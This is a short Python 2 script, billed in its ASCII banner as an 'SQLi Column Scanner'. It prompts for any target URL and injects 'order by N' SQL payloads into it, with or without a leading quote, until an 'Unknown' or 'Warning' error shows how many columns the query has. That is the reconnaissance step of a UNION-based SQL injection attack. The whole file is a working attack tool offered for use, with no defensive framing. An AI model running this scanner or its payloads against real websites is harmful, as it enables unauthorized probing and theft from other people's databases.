#! /usr/bin/python import urllib import sys print ''' -------------------------------- .d8888b. .d88888b. 888 d8b d88P Y88bd88P" "Y88b888 Y8P Y88b. 888 888888 "Y888b. 888 888888 888 "Y88b.888 888888 888 "888888 Y8b 888888 888 Y88b d88PY88b.Y8b88P888 888 "Y8888P" "Y888888" 88888888888 Y8b Column Scanner by T1KUS90T -------------------------------- ''' target = raw_input("[+] Input target: ") if not target.startswith("http://"): target = "http://"+target pay = raw_input("[+] Payload (1,2): ") #Read Unknown if pay == "1": col_max = input("\n[?] Max column [guess it]: ") for i in range(1,col_max+1): payload = "+order+by+%s--+- \n" %(i) site = target+payload o = urllib.urlopen(site).read() error = "Unknown" if error in o: print "[+] Error in : ",i-1+1 print "[+] Total columns : ",i-1 sys.exit() else: continue #Read Warning`` if pay == "2": col_max = input("\n[?] Max column [guess it]: ") for i in range(1,col_max+1): payload = "'+order+by+%s--+- \n" %(i) site = target+payload o = urllib.urlopen(site).read() error = "Warning" if error in o: print "[+] Error in: ",i-1+1 print "[+] Total columns: ",i-1 sys.exit() else: continue